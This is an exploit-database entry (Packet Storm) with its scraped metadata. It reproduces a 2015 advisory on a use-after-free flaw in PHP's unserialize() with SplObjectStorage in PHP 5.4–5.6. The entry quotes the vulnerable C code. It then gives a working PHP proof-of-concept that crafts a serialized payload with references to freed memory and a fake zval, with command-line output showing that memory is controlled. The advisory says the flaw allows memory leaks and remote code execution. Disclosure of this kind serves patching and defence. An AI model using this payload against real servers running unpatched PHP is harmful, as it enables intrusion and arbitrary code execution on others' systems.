ID PACKETSTORM:133479 Type packetstorm Reporter Taoguang Chen Modified 2015-09-07T00:00:00
Description
`#Yet Another Use After Free Vulnerability in unserialize() with SplObjectStorage
Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:
2015.8.27 - Release Date: 2015.9.4
> A use-after-free vulnerability was discovered in unserialize() with SplObjectStorage object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
Affected Versions
------------
Affected is PHP 5.6 < 5.6.13
Affected is PHP 5.5 < 5.5.29
Affected is PHP 5.4 < 5.4.45
Credits
------------
This vulnerability was disclosed by Taoguang Chen.
Description
------------
```
ALLOC_INIT_ZVAL(pentry);
if (!php_var_unserialize(&pentry, &p, s + buf_len, &var_hash TSRMLS_CC)) {
zval_ptr_dtor(&pentry);
goto outexcept;
}
if(Z_TYPE_P(pentry) != IS_OBJECT) {
goto outexcept;
}
ALLOC_INIT_ZVAL(pinf);
if (*p == ',') { /* new version has inf */
++p;
if (!php_var_unserialize(&pinf, &p, s + buf_len, &var_hash TSRMLS_CC)) {
zval_ptr_dtor(&pinf);
goto outexcept;
}
}
```
It has been demonstrated many times before that __wakeup() leads to
ZVAL is freed from memory. However during deserialization will still
allow to use R: or r: to set references to that already freed memory.
It is possible to use-after-free attack and execute arbitrary code
remotely.
Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.
```
<?php
class obj {
var $ryat;
function __wakeup() {
$this->ryat = 1;
}
}
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
$inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:0:{}';
$exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:6;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';
$data = unserialize($exploit);
var_dump($data);
function ptr2str($ptr)
{
$out = '';
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
?>
```
Test the PoC on the command line:
```
$ php uafpoc.php
array(5) {
[0]=>
int(1)
[1]=>
&int(1)
[2]=>
object(obj)#3 (1) {
["ryat"]=>
&int(1)
}
[3]=>
int(1122334455) <=== so we can control the memory and create fake ZVAL :)
[4]=>
string(24) "?v?B????"
}
```
`
{"sourceHref": "https://packetstormsecurity.com/files/download/133479/splobjectstorageun-uaf.txt", "sourceData": "`#Yet Another Use After Free Vulnerability in unserialize() with SplObjectStorage \n \nTaoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: \n2015.8.27 - Release Date: 2015.9.4 \n \n> A use-after-free vulnerability was discovered in unserialize() with SplObjectStorage object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely. \n \nAffected Versions \n------------ \nAffected is PHP 5.6 < 5.6.13 \nAffected is PHP 5.5 < 5.5.29 \nAffected is PHP 5.4 < 5.4.45 \n \nCredits \n------------ \nThis vulnerability was disclosed by Taoguang Chen. \n \nDescription \n------------ \n \n``` \nALLOC_INIT_ZVAL(pentry); \nif (!php_var_unserialize(&pentry, &p, s + buf_len, &var_hash TSRMLS_CC)) { \nzval_ptr_dtor(&pentry); \ngoto outexcept; \n} \nif(Z_TYPE_P(pentry) != IS_OBJECT) { \ngoto outexcept; \n} \nALLOC_INIT_ZVAL(pinf); \nif (*p == ',') { /* new version has inf */ \n++p; \nif (!php_var_unserialize(&pinf, &p, s + buf_len, &var_hash TSRMLS_CC)) { \nzval_ptr_dtor(&pinf); \ngoto outexcept; \n} \n} \n``` \n \nIt has been demonstrated many times before that __wakeup() leads to \nZVAL is freed from memory. However during deserialization will still \nallow to use R: or r: to set references to that already freed memory. \nIt is possible to use-after-free attack and execute arbitrary code \nremotely. \n \nProof of Concept Exploit \n------------ \nThe PoC works on standard MacOSX 10.11 installation of PHP 5.6.12. \n \n``` \n<?php \n \nclass obj { \nvar $ryat; \nfunction __wakeup() { \n$this->ryat = 1; \n} \n} \n \n$fakezval = ptr2str(1122334455); \n$fakezval .= ptr2str(0); \n$fakezval .= \"\\x00\\x00\\x00\\x00\"; \n$fakezval .= \"\\x01\"; \n$fakezval .= \"\\x00\"; \n$fakezval .= \"\\x00\\x00\"; \n \n$inner = 'x:i:1;O:8:\"stdClass\":0:{},i:1;;m:a:0:{}'; \n$exploit = 'a:5:{i:0;i:1;i:1;C:16:\"SplObjectStorage\":'.strlen($inner).':{'.$inner.'}i:2;O:3:\"obj\":1:{s:4:\"ryat\";R:3;}i:3;R:6;i:4;s:'.strlen($fakezval).':\"'.$fakezval.'\";}'; \n \n$data = unserialize($exploit); \n \nvar_dump($data); \n \nfunction ptr2str($ptr) \n{ \n$out = ''; \nfor ($i = 0; $i < 8; $i++) { \n$out .= chr($ptr & 0xff); \n$ptr >>= 8; \n} \nreturn $out; \n} \n \n?> \n``` \n \nTest the PoC on the command line: \n \n``` \n$ php uafpoc.php \narray(5) { \n[0]=> \nint(1) \n[1]=> \n&int(1) \n[2]=> \nobject(obj)#3 (1) { \n[\"ryat\"]=> \n&int(1) \n} \n[3]=> \nint(1122334455) <=== so we can control the memory and create fake ZVAL :) \n[4]=> \nstring(24) \"?v?B????\" \n} \n``` \n \n \n`\n", "edition": 1, "references": [], "modified": "2015-09-07T00:00:00", "hash": "ff81f186e0429626692db417c92fa1482556798ae48a9d09aab7cd7f2c602054", "cvelist": [], "history": [], "bulletinFamily": "exploit", "href": "https://packetstormsecurity.com/files/133479/PHP-5.6-5.5-5.4-SplOnjectStorage-unserialize-Use-After-Free.html", "description": "", "id": "PACKETSTORM:133479", "reporter": "Taoguang Chen", "lastseen": "2016-11-03T10:21:32", "published": "2015-09-07T00:00:00", "enchantments": {"score": {"value": 0.1, "vector": "NONE", "modified": "2016-11-03T10:21:32"}, "dependencies": {"references": [], "modified": "2016-11-03T10:21:32"}, "vulnersScore": 0.1}, "objectVersion": "1.2", "type": "packetstorm", "cvss": {"vector": "NONE", "score": 0.0}, "title": "PHP 5.6 / 5.5 / 5.4 SplOnjectStorage unserialize() Use-After-Free", "viewCount": 4, "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "d4be9c4fc84262b4f39f89565918568f", "key": "cvss"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "description"}, {"hash": "1022bb1b650ee11dda327c68191a1a44", "key": "href"}, {"hash": "4d0622d7a36efaef569dc1ab5959b87d", "key": "modified"}, {"hash": "56765472680401499c79732468ba4340", "key": "objectVersion"}, {"hash": "4d0622d7a36efaef569dc1ab5959b87d", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "facbfdd214b6242e01823edcdb6466c5", "key": "reporter"}, {"hash": "de2793ce98cc760b699cddf4c0fe17ce", "key": "sourceData"}, {"hash": "be936f128fcb42f33c9e15bd1e99a431", "key": "sourceHref"}, {"hash": "e8cc41065213dec4071e9a4dae509ab4", "key": "title"}, {"hash": "6466ca3735f647eeaed965d9e71bd35d", "key": "type"}]}